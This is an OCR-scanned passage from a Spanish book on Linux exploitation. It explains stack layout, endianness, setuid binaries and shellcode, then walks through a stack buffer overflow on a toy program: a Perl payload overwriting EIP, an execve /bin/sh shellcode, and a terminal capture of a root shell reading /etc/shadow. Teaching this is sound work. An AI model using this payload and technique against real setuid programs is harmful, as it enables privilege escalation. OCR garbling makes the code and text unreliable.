bl  ackngel^bbc :  ~$  ,/prog  AAAftMAAAAAAA  A  A  A  A  A  AAAAA  AAAAAA  A  A  AAAAA  AA  A  A  A  AA  AA 
Btenvenido  a  Linux  Exploiting  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
Violation  de  segnento  Ucore’  generado) 

blackngel@bbc:~$  | _ _ _ _ _ _  _ I 

Imagen  01.02:  Fatlo  de  segmentation  o  violation  de  segments. 

La  primers  ejecueion  muestra  una  salida  correcta  del  programa.  La  segunda,  por  el  contrario, 
demuestra  que  un  abuse  por  pane  del  usuario  puede  provocar  la  alteration  normal  del  flujo  de  la 
aplicacion,  eonduciendo  esta  a  an  error  de  segmentation  y  a  la  no  ejecueion  de  la  ultima  instruction 
pr  in  t  f  o  del  programa. 

En  las  prdximas  secciones  estudiaremos  como  dicha  situation  puede  ser  aproveehada  por  un  atacante 
para  provocar  que  la  aplicacion  realice  aceiones  a  las  que  no  estaba  previamente  destinada  y  que 
podrian  coraprometer  por  complete  la  seguridad  de  un  sistema  operative. 


1.3.  Motivos  subyacentes 

Los  proeesadores  son  unidades  que  se  dedican,  valga  la  redundantia,  al  procesamiento  de  datos,  esto 
es,  por  un  lado  el  trabajo  de  desciffar  las  instrucciones  de  un  programa  para  despues  ejecutarlas,  y  por 
el  otro  el  trabajo  de  realizar  calculos  mate  mati  cos  con  l  os  datos  proporc  ion  ados,  larea  asignada 
actualmente  al  componente  ALU  o  Unidad  Aritmetico  Logica  del  procesador. 

Estp s  datos  de  los  que  hah  lames  provienen  bien  de  la  memoria  RAM,  que  se  comunica  con  el 
procesador  a  traves  de  “buses”,  bien  de  unos  espacios  que  el  propio  procesador  proporciona  para 
almacenar  dicbos  datos  y  trabajar  con  ellos  de  forma  mas  eHciente,  los  cuales  se  conocen  con  el 
nombre  de  registros.  En  lenguaje  ensamblador,  todos  ellos  tienen  nombres  que  los  identifican:  los  de 
uso  general  por  ejemplo  son  AX,  BX,  CX  y  DX;  los  que  control  an  segmentos  de  la  memoria  son  DS, 
ES,  GS,  FS;  otros  actuan  como  apuntadores  o  indices  como  puede n  ser  SI  y  DI;  y  ademas  de  muchos 
otros  con  objetivos  mas  especiflcos,  existe  un  registro  de  contador  de  programa  conodido  como  IP. 

Todo  procesador  que  pueda  encontrar  instalado  en  un  ordenador  personal,  solo  puede  ejecutar  las 
instrucciones  de  una  aplicacion  de  forma  secuencial,  una  detras  de  otra,  y  por  lo  tanto  la  circuited  a 
interna  necesita  obligatoriamente  un  registro  que  le  vaya  dictando  cuil  es  la  siguiente  instruction  a 
ejecutar.  IP  es  nuevamente  el  registro  del  que  estamos  hablando. 
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Not  a 


Los  procesadores  con  varios  nucleos  o  multicore  pueden  facilitar  la  ejecucion  de 
aplicac  tones  dc  forma  concurrente,  esto  es  lo  que  se  conoce  como  procesamiento 
paralelo,  varios  procesos  que  se  ejecutan  en  un  inismo  espacio  de  tiempo.  Pero  no 
permita  que  esto  le  confunda,  cada  nucleo  individual  tambten  ejecuta  sus  instrucciones 
de  forma  secuencial  y  contiene  un  conjunto  de  registros  identicos.  A  los  efectos  de 
nuestra  explication  esto  no  afeeta  en  absolute.  Piense  en  su  maquina  como  si  solo 
tuviese  un  procesador  con  un  unico  nucleo  y  olvidese  de  otros  detalles  Irrelevantes, 


Entonces,  ^por  que  e!  registro  IP  es  necesario?  Si  bien  es  cierto  el  hecho  de  que  la  ejecucion  de 
instrucciones  es  secuencial,  no  quiere  decir  que  estas  tengan  que  ser  consecutivas.  En  la  actual i dad, 
donde  la  programacion  se  basa  en  la  utilizacion  de  funciones  o  metodos  para  distribuir  correctamente 
el  flujo  de  una  aplicacion,  el  procesador  continuamente  esta  dando  saltos  de  un  lugar  a  otro  para  hacer 
su  trabajo, 

Vamos  a  ejempli  ft  carlo,  En  nuestro  program  a  de  prueba  anterior  llamabamos  a  una  funcion  desde 
main  < ) .  Esquematicamente,  lo  que  ocurre  es  lo  siguiente; 

0  Empieza  main  () 

1  Instrueci6n  X 

2  -  Instruceion  X 

3  -*  Llamar  a  func  {) 

4  —  Instrucci6n  X 

5  -  Terminar  programa 

6  -  Empieza  f unc ( ) 

7  Xnstrucci6n  Y 

8  -»  Instruceion  Y 

9  Volvsr  a  main  () 

Pero  el  orden  en  que  estas  instrucciones  se  ejecutan  no  es  tal,  si  no  que  el  registro  IP  ira  senalizando  la 
siguiente  instruceion  a  ejecutar  de  la  siguiente  forma: 

En  el  lenguaje  ensamblador,  que  es  la  inierfaz  que  nos  abstrae  de  los  datos  binarios  que  finalmente 
interpreta  la  m&quina,  solo  existen  unas  pocas  funciones  capaces  de  modi  Hear  o  alterar  el  registro  TP, 
entre  ellas  estan:  call,  ret,  jmp,  int5  iret  y  los  saltos  cond [donates.  Fijese  que  en  realidad  lo  que 
mencionamos  como  “llamar  a  func  <)”  se  traduce  a  una  instruceion  call,  y  lo  que  dcscribimos  como 
volver  a  main  o'"  se  trata  de  una  instruceion  ret.  Asi  las  cosas,  la  instruceion  numero  3  estaria 
ejecutando  un  pseudo  call  e, 

El  problema  es  el  siguiente:  £como  sabe  la  instruceion  ret  a  que  direction  regresar?  La  respuesta  esta 
en  que  cuando  call  fue  ejecutado,  el  contenido  del  registro  IP,  que  en  ese  momento  era  4  (la  siguiente 
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instruccion  a  ejeeutar)  fue  copiado  a  la  memoria  del  ordenador,  y  de  esta  forma  IP  puede  obtener 
cualquier  otro  valor  ya  que  una  vez  alcanzada  la  instruccion  ret,  esta  sabra  como  recuperar  de  la 
memoria  el  valor  original  y  situarlo  nuevamente  dentro  del  registro  contador  de  programa  para 
continuar  la  secuencia  normal  de  la  aplicacidn. 

Alcanzando  el  final  de  esta  enigmatica  explication,  uno  ya  deberia  darse  cuenta  de  que  si  pudiesemos 
modificar  el  valor  de  este  registro  IP,  tendriamos  la  capacidad  para  redirigir  la  ejecucion  del  programa 
a  nuestro  antojo.  En  este  punto,  y  si  es  la  primera  vez  que  lidia  con  estos  temas,  es  posible  que  se  este 
preguntando  varias  cosas:  hemos  dicho  que  un  buffer  puede  set  desbordado  si  se  introduce!!  mas  daios 
que  los  pennitidos;  hemos  dicbo  que  el  registro  IP  puede  ser  modificado  y  asi  eambiar  la  siguiente 
instruccion  a  ejeeutar  por  otra  arbitrary  Pero,  £que  tiene  que  ver  un  buffer  con  el  registro  IP  y  como 
se  puede  alterar  el  mismo  desbordando  el  primero? 

Prosigamos,  Hace  un  momento  dijimos  que  IP  es  guardado  en  la  memoria  cada  vez  que  una  instruccion 
can  es  ejecutada,  /,En  que  parte  de  la  memoria?  En  realidad  muy  cerca  del  buffer  local  declarado 
dentro  de  la  funcibn  llamada  por  call,  en  nuestro  caso  func  ( ) , 

Cada  vez  que  listed  ejecuta  un  programa  en  su  sistema  operativo  Linux  (en  otros  sistemas  tambien 
ocurren  cosas  simi lares),  este  dispone  una  estructura  especffica  en  la  memoria  dividida  en  zonas. 
Exists  por  ejemplo  una  zona  llamada  BSS  (,bss)  donde  se  guardan  las  variables  globales  o  estaticas 
no  inicializadas*  Es  decir,  si  nosotros  escribiesemos  en  C  la  siguiente  sentencia: 

static  int  i; 


Esta  cadena  sera  almacenada  en  la  zona  BSS  de  la  memoria.  Luego  tenemos  la  seccion  DATA  (.data) 
que  con  lien e  variables  globales  o  estaticas  inicializadas.  De  forma  que  las  siguientes  lineas  de  codigo 
se  encontrarian  en  esta  zona  particular  de  la  memoria. 

static  char  * saluda  =  "Esto  es  un  Saludo"; 
int  1=5;  /^Variable  global  */ 


La  aplicacion  size  le  permite  ver  el  tamano  de  algunas  secciones  del  programa-  Pero  no  se  fie  mucho 
del  resultado,  un  proceso  en  ejecucion  puede  provocar  que  estos  valores  cambien  en  cualquier 
momento. 

blackngel@bbc .1  size  ./prog 

text  data  bss  dec  hex  filename 

1391  264  8  1663  67 f  ./prog 


Como  puede  ver,  otra  seccion  impreseindible  de  todo  ejecutable  se  conoce  como  TEXT  (.text)  o 
segmento  de  texto,  y  esta  constituida  por  todas  las  instrucciones  que  componen  el  codigo  del 
programa.  Caso  de  existir  varias  instances  en  ejecucion  del  mismo  binario,  el  sistema  operativo  aetua 
de  un  modo  inteligente  manteniendo  una  sola  copia  en  memoria  del  codigo  y  permitiendo  que  los 
procesos  puedan  eompartirla  para  ahorrar  recursos.  Existe  una  zona  llamada  HEAP  donde  se 
almacenan  todos  aquellos  buffers  que  son  reservados  de  forma  dinamiea,  esto  es  con  llamadas  a 
funciones  de  asignacion  como  maiiocn,  caXiocO  o  reaiioeO .  Y  por  ultimo  tenemos  la  que  mas 
nos  interesa,  la  pila  o  STACK,  aqui  se  guardan  los  argumentos  pasados  al  programa,  las  cadenas  del 
entomo  donde  este  es  ejecutado  (el  comando  env  le  permite  visual  izarlas),  los  argumentos  pasados  a 
las  funciones,  las  variables  locales  que  todavia  no  poseen  n ingun  contenido,  y  ademas  es  donde  se 
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aimaeena  el  registro  IP  euando  una  funcion  es  llamada.  Bn  particular,  cuancio  f unc  ( )  fue  invocada  en 
nuestro  programa,  lamemoria  y  la  pila  tenian  un  aspecto  como  el  que  puede  observar  en  la  figura. 


STACK 


Stack  Frame  Previa 

^ _  cap 

Argumentos 

Direction  de  Retorno 

EIP  o  RET 

Puntero  Base  Guardado 
EBP 

char  nombr©[32] 

“  CDr 

e  spa  do  no  reserve  do 

^  tgr 

Imagcn  01.03;  Cumposicion  de  la  pi  la  o  slack. 


Vemos  entonees  que  en  la  pila  primero  se  aimaeena  nuestra  variable  local  de  32  bytes,  luego  el  valor 
de  un  registro  llamado  Puntero  Base  o  EBP  {frame  pointer),  Y  seguidamente  Lenemos  el  valor  del 
registro  EIP.  El  prefljo  E  delante  del  nombre  de  estos  registros  indica  que  son  extendidos  y  ocupan  32 
bits  en  vez  de  los  1 6  que  se  utilizaban  en  las  arquitecturas  mas  antiguas. 


Nota 


Aelaremos  una  confusion  generalizada  entre  los  que  comienzan:  ese  valor  EIP  que  vemos 
en  la  figura  no  es  reaimente  el  registro  IP  del  procesador,  sino  un  simple  valor  o  direccidn 
que  ha  si  do  guardado  en  la  memoria  euando  la  funcion  fue  llamada  para  que  la  instruction 
ret  pueda  recuperarlo  y  saber  donde  continuaba  main  n *  Es  por  etlo  que  en  los  diagramas 
se  utiliza  i n defe rente rnente  la  expresion  EIP  y  RET,  siendo  quizas  esta  ultima  la  mas 
cor  recta. 


La  pila  es  un  element©  esencial  que  permite  a  los  ienguajes  de  programacion  modernos  utilizar 
funciones  recursivas  (funciones  que  se  Hainan  a  si  mismas).  Su  estructura  se  conoee  como  LIFO,  Last 
Input  First  Output,  el  ultimo  en  entrar  sera  el  primero  en  salir.  La  analogia  mas  sencilla  la  podemos 
observar  en  una  pila  de  plat  os,  el  ultimo  que  situamos  encima  sera  el  primero  que  tendremos  que  retirar 
para  poder  acceder  al  resto.  Las  instrucciones  push  y  pop  del  lenguaje  ensamblador  estan  destinadas  a 
introducir  y  retirar  valores  de  la  pila. 
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En  el  grafico  anterior  mostramos  una  flecha  que  se  desplazaba  hacia  abajo,  esa  es  la  direccion  hacia  la 
que  crece  el  stack  a  medida  que  se  van  apilando  nuevos  elementos,  siempre  hacia  las  direcciones  mis 
bajas  de  memoria.  Por  el  contrario,  el  contenido  que  un  usuario  intro  duzca  en  uno  de  estos  elementos, 
corno  por  ejemplo  el  buffer  nombre  [ ]  que  vimos  en  la  iluslracion,  ira  rellenando  el  espaeio  disponible 
hacia  arriba,  es  decir,  hacia  las  direcciones  mas  altas  de  memoria. 

Aqui  es  donde  se  encuentra  la  magia  del  exploiting.  Si  introducimos  en  nuestro  buffer  mas  de  32  bytes, 
sobrescribiremos  el  valor  de  EBP,  y  si  pasamos  este  sobrescribiremos  tambien  el  valor  de  EJP, 
Llamamos  a  este  procedimiento  de  alteracidn  irregular  de  datos  en  la  pila  stack  overflow .  Otras  veces 
el  desbordamiento  se  produce  en  la  zona  del  monticulo  o  heap ,  en  tal  caso  nombramos  la  tecnica  de 
sobrescritura  como  heap  overflow ;  dicha  maniobra  requiere  unos  conodmientos  avanzados  que  seran 
detallados  en  los  capitulos  mas  apasionantes  de  este  libro. 

Proponemos  ahora  una  pequena  practica.  Si  conseguimos  sobrescribir  el  valor  de  EIP  con  la  direccion 
de  la  primera  instmccidn  de  f  unc  { ) ,  cuando  ret  vuelva  y  coja  esa  direccion,  pcnsara  que  ahi  es  donde 
debe  continuar,  y  lo  que  ocurrira  es  que  se  volvera  a  ejecutar  la  funcion  de  nuevo,  lo  que  no  siendo 
muy  util,  puede  resultar  divertido  o  al  menos  didactico,  Veamos  como  lograrlo.  Para  obtener  la 
direccion  de  func  ( }  haremos  uso  de  la  eslupenda  utilidad  objdump: 

blackngelflbbc: objdurap  -d  ./prog  l  grep  func 

Q8G48444  <f unc> : 

Observamos  que  la  direccion  real  de  func  ( )■  en  este  caso  es  0x0  8  04  844  4 .  listed  deberia  eslarpensando 
ahora  mismo  en  introducir  como  argumento  del  programa  vulnerable  algo  como  lo  siguiente: 

A  AAAA  A  A  AAAA  AAAA  A  A  A  AAAAAAAAA A A A A AAAAA  0 8  04  84  4  4 

Pero  ocurren  dos  cosas  importantes  que  dcbemos  aclarar.  En  primer  lugar  la  cantidad  de  relleno  que 
debe  introducir  antes  de  sobrescribir  la  direccion  de  retomo  es  variable,  pues  depend  iendo  de  la  version 
del  compilador  que  haya  ensamblado  el  programa,  algun  que  otro  espaeio  puede  introducirse  entre  el 
buffer  y  los  valores  EBP  Y  E!P .  Normalmente  no  es  mas  que  una  cuestidn  de  alineacion  de  direcciones 
de  memoria  que  el  compilador  gestiona  intemamente. 

Por  otro  lado,  debemos  recordar  que  la  arquiteetura  de  memoria  a  la  que  nos  enfrentamos  es  little- 
endian^  lo  cual  quiere  decir  que  los  valores  o  direcciones  son  almacenados  en  la  misma  en  direccion 
contrana,  esto  es,  44-34 -04-08  (el  byte  rnenos  significativo  se  escribe  primero).  Para  aquellos  que  no 
hay  an  tratado  previamente  con  temas  relativos  a  la  arquiteetura  de  ordenadores,  quizas  esto  requiera 
una  aclaracion  mas  profunda.  Del  mismo  mode  que  algunos  idiomas  se  escriben  de  izquierda  a  derecha 
y  otros,  como  el  hebreo,  lo  hacen  en  sentido  contrario,  los  ordenadores  aimacenan  valores  en  la 
memoria  RAM  siguiendo  un  disefio  concreto.  Un  valor  que  ocupa  un  solo  byte  siempre  se  ublcara  en 
una  direccion  concreta  y  predecible,  el  problema  queda  planteado  con  aquellos  valores  cuyo  tamaho 
es  superior  a  8  bits.  Proeesadores  como  los  de  Motorola  aimacenan  los  datos  en  el  mismo  sentido  en 
que  usted  puede  leerlos,  es  decir,  que  si  tenemos  un  valor  como  0x01020304,  el  byte  0x01,  al  que 
llamaremos  byte  mas  significativo,  se  escribe  primero  quedando  almacenado  en  una  direccion  X,  Los 
bytes  subsiguientes  se  situan  en  direcciones  de  memoria  superiors.  Decimos  entonces  que  dichos 
proeesadores  son  big-endian.  Observe  la  imagen: 
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Big-endian 

0x00000000  inti-  0x01 020304  OxFFFFFFFf 


^  |  entero  de  32  bit's 

jr 

l 

0x01 

0x02 

0x03 

0x04 

T . T  T  T 


X  X+l  X+2  X+3 

Imugen  01 .04:  Arquitectura  big-endian. 


Sin  embargo,  los  proce sad  ores  de  la  easa  Intel,  como  xS6  y  x86_64,  utilizan  el  formato  little-endian. 
Bo  e!  ejemplo  que  tnostramos  hace  an  instante,  el  byte  0xC4  se  escribiria  en  la  direccion  X,  e!  byte 
0x03  en  X+l,  y  asi  sucesivamente  tal  y  como  hemos  esquematizado  a  continuacion: 


Little-endian 


0x00000000  int ' " 0x01020304  OxfFFffFFF 


r  |  entero  de  32  bite 

0x04 

0x03 

0x02 

0x01 

rm 


X  X+l  X+2  X+3 

imagen  01.05:  Arquitectura  little-endian, 

Ninguno  de  los  sistemas  anteriores  es  mejor  que  el  otro,  ni  realizaremos  una  votacion  para  crear 
parti darios,  simplemente  se  trata  de  una  cues (ion  de  gustos.  El  origen  del  termino  nace  con  la  novcla 
“Los  Viajes  de  Gulliver”,  eserita  por  Jonathan  Swift,  en  la  que  dos  naciones  ri  valizaron  por  hacer  valer 
la  forma  en  que  debenan  romperse  los  huevos,  si  bien  estos  deberian  abrirse  por  el  extremo  largo,  o 
por  contra  lo  correcto  era  hacerlo  por  el  extremo  corto,  Dos  send  11  as  Uneas  escritas  en  Python  sobran 
para  averiguar  eual  es  la  arquitectura  utilizada  en  su  ordenador  personal: 

import  sys 

print  sys  .byteorder 

Una  caracteristica  peculiar  del  formato  little-endian,  es  que  ante  un  valor  como  OxOOO 00041,  podemos 
referenciar  la  misma  direccion  utilizando  tamafios  de  operador  variables. 

3  bits  (byte)  =  0x41 

16  bits  (word)  —  0x0041 
32  bits  (dword)  =  0x00000041 

Esta  curiosa  propiedad  puede  ser  uti  lizada  por  los  compiladores  para  optimizer  el  codigo  ensamblador 
generado.  Volviendo  al  hilo  principal,  lo  que  debemos  introduce  como  argumento  de  la  aplicacidn 
vulnerable,  son  los  correspondientes  sfmbolos  ASCII  de  estos  valores  hexadecimales.  Para  realizar  la 
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tarea,  el  interprete  de  Perl  puede  ayudamos  en  gran  medida.  Gompruebe  en  la  ilustracion  como  hemos 
logrado  nuestro  objetivo, 

O black  nf  e  l  ($bb  c  ~ 

blackngel$bbc:-$  ./prog  ‘perl  -e  1  print  *A^x44  .  ,k VJt44\x84\x04\x08"tx4 1  ’ 

Bienvenido  a  Linux  exploiting  AAAAAAAAAj^AAA  A  A  A  AAAjfckAAAAAAAAAAAAA  AAAAAA  AAAD  ♦  D#  D  * 

*>♦101 

Blenvenldo  a  Linux  Exploiting  U»»»»8440S^£/BijppU»»»»U /T$illl8»++»+»+U»4»« [fj 

Me  ^  Jfr 

Violaci.cn  de  segrcehto  (core1  generado) 

blackngel@bbc:-$  |  '  _ _ _ _ _ 

Imageti  01.06:  Redirection  deJ  flujo  de  ejecucidru 

Empleamos  el  comando  perl  en  el  interior  de  dos  comillas  invertidas,  que  son  utilizadas  por  la  shell 
hash  para  obtener  el  resultado  de  una  orden.  Invocamos  la  opeidn  -e  para  que  Perl  interprete  la 
instruccion  print,  que  imprimira  el  caracter  LA’  cuarenta  y  cuatro  veces  (print  t,ap,x44),  seguido  de 
la  direccion  Gx0804S444  inyeetada  en  formato  ilule-endian.  El  formato  \xnn  permite  a  muchos 
lenguajes  de  programacion,  entre  los  que  tambien  se  encuentran  C  y  Python,  especillcar  el  valor 
hexadecimal  de  un  caracter  ASCII.  En  el  ejemplo,  0x44  se  corresponde  con  el  caracter  LD\  sin 
embargo,  el  restro  dc  valores  se  asocian  a  simbolos  ASCII  no  imprimibles  que  seria  imposible  utilizar 
directamente,  y  es  por  este  motivo  que  la  sintaxis  de  Perl  resulta  tan  util. 

En  efecto,  tal  y  como  vimos  en  la  imagen,  dos  mensajes  de  bienvenida  son  mostrados,  aunque  e! 
prograrna  vuelve  a  sufrir  un  fallo  de  segmentacion.  Esto  se  debe  a  que  tambien  hemos  alterado  el  valor 
de  EBP,  el  cuaf  si  excluimos  de  la  diseusion  detalles  como  las  compilaciones  con  el  modificador  - 
f  omit -frame -pointer,  es  indispensable  para  el  curso  normal  del  prograrna  (sus  posibles  usos,  abusos 
y  ataques  seran  detallados  en  el  capitulo  3). 

Hasta  este  punto  hemos  descubierto  que  un  buffer  cuya  entrada  no  es  controlada  por  el  programador 
permite  redirigir  el  flujo  de  ejecucion  de  un  prograrna.  Tambien  hemos  detallado  las  bases  de  la  tecnica 
que  pennite  aprovechar  esta  vulnerabUidad*  Animamos  al  lector  a  rdeer  nuevamente  esta  seccion  y  a 
que  sea  paciente  hasta  que  comprenda  bien  los  conceptos  explicados. 

En  la  siguiente  seccion  analizaremos  por  que  este  fallo  puede  ser  de  util  id  ad  a  un  atacante  y  revel  ard 
la  gravedad  que  todos  estos  errores  implican  en  cualquier  entorno  computacional. 


1.4.  Aplicaciones  Setuid  (suid) 

No  hay  mejor  forma  de  entender  este  concepto  que  aplicandolo  a  un  ejemplo  prdctico,  El  mas 
caracteristico  dentro  de  los  sistemas  GNU/Linux  es  el  prograrna  passwti  que  permite  a  un  usuario 
cambiar  su  contrasefia  actual  por  otra  nueva. 

La  cuestion  radica  en  que  un  usuario  con  privilegios  normales,  no  tlene  penniso  para  modificar  el 
archivo  /etc/passwd  o  /etc/ shadow  en  los  cuales  las  palabras  dc  paso  de  cada  usuario  del  sistema 
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son  almacenadas,  en  cambio,  cuando  el  programa  passwd  es  cjecutado.  de  alguna  forma  consigue 
actual  izar  estos  ficheros  para  cumplir  eon  su  objetivo.  Esto  se  logra  mediante  la  actiyacion  de  un  bit 
especial  en  los  permisos  del  programa  conocido  como  “Set  User  ID”,  en  otros  terminos  setuid  o  suid. 

Cuando  aplicamos  el  comando  is  sobre  un  ejecutable  corriente,  lo  comtin  es  encontrar  una  serie  de 
permisos  definidos  para  el  propietario,  el  grupo  y  otros  usuarios.  Diehos  permisos  se  encargan  de 
asignar  capacidades  de  lectura,  escritura  y  ejeeucion,  Estos  suelen  representarse  por  las  letras  r,  w  y  x 
respectivamente.  En  cambio,  si  usted  realiza  un  is  sobre  el  binario  /usr/bin/passwd,  observara  algo 
como  lo  siguiente: 

-rwsr-xr-x  1  root  shadow  27920  ago  15  22:45  /usr/bin/passwd 

Vemos  que  en  el  primer  grupo  de  tres  letras,  en  vez  de  una  x  eneontramos  una  s,  eso  sign i flea  que  el 
bit  setuid  esta  activado.  Lo  que  oeurre  en  realidad,  es  que  cuando  el  usuario  ejecuta  la  aplicacion, 
obtendra  de  forma  temporal  y  hasta  que  finalice  la  ejeeucion  del  programa  los  permisos  que  liene  el 
propietario  de  dicho  ejecutable.  En  este  caso  particular,  como  su  propietario  es  root,  el  usuario  normal 
obtendra  los  permisos  de  administrador,  pero  solo  dentro  de  ese  programa  y  dentro  del  plazo  de  tiempo 
en  el  que  transcurra  su  ejeeucion:  fuera  de  el  seguira  limitado  por  sus  credenciales. 

La  preguma  que  a  un  atacante  se  le  viene  a  la  cabeza  es;  /.que  ocurriria  si  el  programa  passwd  sufriera 
una  vulnerabilidad  tal  que  un  atacante  lograra  ejecutar  cbdigo  arbitrario?  Pues  que  ese  codigo  se 
ejecutaria  con  permisos  de  root,  y  si  el  atacante  logra  abrir  una  shell  de  comandos,  estaria  corriendo 
una  shell  con  permisos  de  administrador  y  por  tanto  tendna  en  sus  manos  el  control  de  todo  el  sistema. 

La  gravedad  de  las  vulnerabilidades  encontradas  en  binaries  setuid  se  pone  de  manifesto  cuando  el 
atacante  es  un  usuario  local,  donde  el  objetivo  es  elevar  privilegios  y  conseguir  nuevas  capacidades  en 
el  si  sterna.  Cuando  e!  fallo  se  encuentra  remotamente,  por  ejemplo  un  servidor  web  o  FTP,  que  la 
aplicacion  tenga  el  bit  suid  activado  o  no  ya  no  es  el  unico  factor  a  considerar,  puesto  que  ejecutar 
codigo  arbitrario  con  los  mismos  permisos  que  la  aplicacion  ya  es  considerado  como  un  grave 
compromiso  a  la  seguridad. 

De  todos  modes,  piense  que  ejecutar  una  shell  no  siempre  es  el  objetivo  final  de  un  atacante.  Esa  no 
es  mas  que  una  entre  miles  de  opciones.  Otra  posibilidad  seria  ejecutar  un  codigo  que  anada  una  nueva 
cuema  con  permisos  de  administrador,  y  esto  le  permitiria  entrar  al  sistema  en  el  future  con  derechos 
ilimitados.  A  todas  estas  posibi lidades  de  que  un  atacante  dispone  para  controlar  el  sistema  las 
eonocemos  con  el  no  mb  re  de  cargas,  payloads  o  she  II  codes. 


1.5.  Payloads 

No  podriamos  seguir  adeiante  sin  explicar  entonces  que  es  un  shellcode  o  payload.  Echemos  un  vistazo 
a  una  de  las  lineas  de  desensamblado  obtenidas  tras  la  ejeeucion  de  la  utilidad  ob j dump: 

8046 Bee i  e8  b3  £f  ff  ff  call  6048444  <func> 


Despues  de  la  direecion  donde  se  encuentra  esa  llamada,  vemos  un  grupo  de  valores  hexadeci  males 
e6,  b3,  f f,  f f  y  ff,  que  son  nada  mas  y  nada  menos  que  la  traduccion  de  la  instmeeion  call  08048444 
a  lenguaje  maquina,  el  unico  lenguaje  que  un  procesador  puede  entender.  En  realidad  el  procesador 
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transforma  eslos  valores  a  unos  y  ceros,  cl  conocido  codigo  binario;  las  aplicaciones  nos  lo  ofrecen  en 
formato  hexadecimal  porque  resulla  mas  comprensible  para  los  humanos. 

De  este  modo,  nada  nos  impide  hacer  un  programa  en  C  que  ejecute  una  shell  como  /bin/sh,  y  obtener 
los  codigos  de  opera  cion  hexadecimal  es  de  todas  las  mstrucciones  y  unirlos  en  una  unica  cadena. 
Mostramos  a  eontinuacidn  un  ejemplo. 

" \x31\xc0\x5  Q\x68\x2f\x2£\x73\x68\x68\x2f\x62\x69\x6e\x89\xe  3 \x50\x53\xS  9\xel\xbG\xG 
b\xod\x8  0 11 


En  la  practica,  la  seric  de  digitos  he  xadeci  males  que  ac  a  bam  os  de  mostrar  es  la  traduce  ion  que  un 
procesador  haria  del  siguiente  programa: 

void  mainO 
{ 

char  * name [2]; 

name[0]  =  Vbin/sh"; 

name [1]  =  NULL; 

exeeve (name [0] ,  name,  NULL); 

} 


Si  un  atacante  logra  introdueir  esta  secuencia  de  bytes  en  algun  lugar  deniro  del  espacio  de  merrtoria 
de  la  aplicacion  y  modifica  el  valor  de  retomo  E1P  para  que  apunte  a  la  direceion  del  principle  de  esa 
cadena  de  bytes,  entonces  el  shellcode  sera  ejecutado  cuando  la  funcion  vulnerable  retome,  obteniendo 
asi  una  shell  con  los  permisos  del  propietario  del  ejecutable  si  este  ha  activado  previamente  el  bit 
setuid. 

Si  usted  ha  aplicado  la  fria  logica,  se  habra  dado  cuenta  de  que  uno  de  los  pocos  lugares  donde  podemos 
introdueir  esta  secuencia  de  bytes  es  precisamente  dentro  del  buffer  nombre[]  a  traves  del  parametro 
pasado  al  programa.  Esto  hara  que  nuestro  codigo  de  ataque  se  almacene  en  algun  lugar  de  la  memoria. 
El  problema  con  el  que  nos  encontramos  ahora  es  como  conseguir  la  direceion  exacta  del  principio  del 
buffer  nombre  [  j  para  sobrescribir  EIP  con  esa  direceion  y  que  la  aplicacion  salte  al  principio  de  nuestro 
codigo. 

Tal  y  como  mencionamos  en  secciones  anteriores  el  registro  EBP  es  el  puntero  base,  es  decir*  el  valor 
que  indica  donde  esta  la  base  del  marco  de  pila  actual  para  una  funcion  en  concrete,  Su  antagonist^  el 
registro  ESP,  senaia  la  clma  o  tope  de  la  pila,  lugar  que  en  nuestro  programa  vulnerable  coincide  con 
el  principio  del  buffer,  ya  que  es  la  unica  variable  local  que  hemos  declarado.  Si  eompila  y  ejeeuta  el 
fragmento  de  codigo  que  mostramos  a  continuacion,  podra  obtener  una  direceion  aproximada  del  valor 
de  ESP: 

# include  <stdio.h> 
unsigned  long  get_sp(void)  f 
_ asm _ ("movl  %esp,  %eax" )  ; 

} 

void  main ( )  { 

printf  ( ,T Ox%x\nTI ,  get  sp[}); 

I 


A  modo  de  suposicidn,  imagine  que  ejecutamos  este  pequeno  programa  y  que  obtenemos  la  direceion 
Oxbf f f f 32-c.  Entonces  la  solucion  pasa  por  sobrescribir  la  direceion  EIP  almacenada  en  la  pila  con 
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este  valor  o  con  otros  aproximados  hasta  dar  con  el  verdadero  principio  del  buffer  nombre  [],  donde 
ya  hemos  introducido  nuestro  shellcode.  Despues  de  probar  varias  direcciones,  obtenemos  por  ejemplo 
Oxbf f f f 3ib.  En  la  ligura  se  muestra  el  resultado: 

blackngel(fflbbc  ~ 

black nwlQbbc :-$  sikJo  chown  root  ./prog  ; 
blackngel$3bbc:~$  spdo  chnod  u+s  ./prog 
b l a  c  k  n  get §b be :  -$  l s  - a l  -/prog 

-rwsrwxb-x  1  root  blackngel  7255  jun  36  15:11  xfjppoq 

blackngel^bbc :-$  , /prog  perl  -e  JprllrVt:  "\x31\xt9\x50\x68\x2f\x2f\x73\x68\x68\x2f 
\x62\x69\x6e\x89\xe3\x50\x53\x89\x€‘l\ xbB\x6b\xcd\x8G^', .  " AAAAAAAAAAAAAAAAAAAAA"  ,  "\x 
ib\xf3\xf  f\xbf ,f  1  1 

Blenvenldo  a  Linux  Exploiting  l*Ph//shh/birv**P54*4 

aaaaaaaaaaaaaaaaaaaaaHJ** 

#  whoani 
root 

i¥  cat  /etc/shadow  |  grep  root 

root :  $6$aYVAxpMP$4IlK.  j6tIdsWje9z9io9MoXwvxHG8E3XdSMpOFhxit72nZ6XusqUEeun0ig4i2[>V 
HUxPEUZ60gYoI8dl j2o4Cl : 1S841 : 6 : 99999 : 7: : : 

#  exit  ] 

blackngel@hbc:~S  f _ _ _ Aft : f  t\  : ' ; . *  / . H _ 

Imagen  01.07:  Explotacion  y  ejecucidn  de  un  shell  code, 

En  la  ejecucion  del  ataque  observamos  algunas  cosas  interesantes.  Los  dos  primeros  comandos 
cambian  el  propietario  del  binario  a  root  y  act  i  van  el  bit  suid para  observar  los  efectos  que  explieamos 
en  apartados  anteriores.  Tambien  debemos  recordar  que  la  primera  vez  que  fuimos  capaces  de 
redireccionar  el  flujo  de  ejecucion  del  program  a  introdujitnos  un  reileno  de  44  caracteres  A  hasta 
sobrescribir  el  valor  de  EIP  guardado  en  memoria  con  una  direccion  de  nuestra  eleccion.  Esto  sigue 
siendo  constants  ahora,  y  como  el  shellcode  ocupa  23  bytes,  hemos  ajustado  el  reileno  y  luego 
agregado  la  direccion  donde  creemos  que  comienza  el  buffer  noinbre  [  ]  y  por  lo  tanto  el  codigo  que 
ejecuta  la  shell. 

El  resultado  obtenido  es  devastador,  hemos  conseguido  invocar  una  shell  con  permisos  de  root  y 
